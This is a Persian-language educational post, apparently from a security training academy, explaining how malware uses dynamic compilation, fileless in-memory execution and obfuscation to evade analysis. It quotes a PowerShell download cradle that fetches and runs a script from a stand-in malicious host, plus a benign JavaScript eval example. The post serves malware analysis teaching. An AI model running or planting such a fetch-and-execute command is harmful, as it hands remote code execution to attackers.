کامپایل داینامیک
از منظر تحلیلگر بدافزار این موضوع به معنای تولید و اجرای کد در زمان اجرا است. این روش توسط بسیاری از بدافزارها به منظور مخفی کردن رفتار واقعیشان یا جلوگیری از شناسایی شدن توسط ابزارهای امنیتی استفاده میشود.
کامپایل داینامیک به بدافزار اجازه میدهد که در لحظه اجرا، کدی جدید تولید کند، بخشهای مخرب را دریافت کرده و اجرا کند، و خود را از تحلیل استاتیک یا سنتی دور نگه دارد.
کامپایل داینامیک چگونه در بدافزارها استفاده میشود؟
1. تولید کد مخرب در زمان اجرا
در این روش، بدافزار از کدی که در فایل اصلی نوشته شده است، استفاده نمیکند. در عوض، کد مخرب خود را داینامیک تولید میکند یا از سرور Command & Control (C2) دریافت میکند. این کار معمولاً باعث میشود تحلیلگر نتواند رفتار بدافزار را بهطور کامل در بررسی اولیه شناسایی کند.
2. اجرا در حافظه (Fileless Execution)
کامپایل داینامیک اغلب همراه با تکنیکهای اجرای در حافظه (Fileless) دیده میشود. این یعنی بدافزار فایل اجرایی یا کدی را روی دیسک ذخیره نمیکند و مراحل مخرب خود را مستقیم در RAM اجرا میکند. این روش شناسایی بدافزار را برای ابزارهای امنیتی مبتنی بر تحلیل فایل دشوارتر میکند.
3. مبهمسازی و تاخیر در تحلیل
کامپایل داینامیک یکی از تکنیکهای رایج مبهمسازی (Obfuscation) محسوب میشود. بسیاری از ابزارهای تحلیل بدافزار نمیتوانند کدی را که در زمان اجرا تولید میشود، به راحتی بررسی کنند. این مسئله باعث سختتر شدن دیباگ و تحلیل رفتار بدافزار میشود.
مثالهای رایج از کامپایل داینامیک در بدافزارها
PowerShell Cradle
بدافزارهای مبتنی بر PowerShell معمولاً از تکنیکهای کامپایل داینامیک استفاده میکنند تا کد مخرب را از سرور بارگذاری کرده و مستقیم اجرا کنند. به عنوان مثال:
IEX (New-Object Net.WebClient).DownloadString('
http://malicioussite.com/payload.ps1');
- این کد در زمان اجرا، اسکریپت مخرب را از وبسایت دریافت کرده، و آن را داینامیک کامپایل و اجرا میکند.
Dynamic DLL Loading
برخی بدافزارها بهجای اینکه همه کد مخرب را در فایل اصلی ذخیره کنند، فقط هسته بدافزار را اجرا کرده و سپس DLLهای مخربرا با کامپایل داینامیک بارگذاری میکنند. این کار معمولاً از طریق APIهای ویندوز مثل LoadLibrary انجام میشود.
JavaScript Eval
تکنیکهای کامپایل داینامیک در JavaScript نیز به وفور استفاده میشود. بدافزار ممکن است از دستور eval() استفاده کند تا کدی که به صورت داینامیک تولید یا دریافت شده است را اجرا کند.
javascript
let dynamicCode = "alert('Executed malicious code!')";
eval(dynamicCode); // اجرای کد مخرب
تحلیل کامپایل داینامیک در بدافزار
چالشها
1. کد دینامیک و غیرقابل پیشبینی:چون کد واقعی در زمان اجرا تولید میشود، تحلیلگر نمیتواند به طور مستقیم در فایل اولیه رفتار بدافزار را شناسایی کند.
2. اجرای در حافظه: ممکن است بدافزار فایل یا ردپای مشخصی روی دیسک نداشته باشد و فقط در حافظه فعالیت کند.
3. مبهمسازی کد: کد داینامیک معمولاً با تکنیکهای مبهمسازی همراه است تا باز کردن و خواندن آن پیچیدهتر شود.
#آکادمی_روزبه
مرکز تخصصی CISSP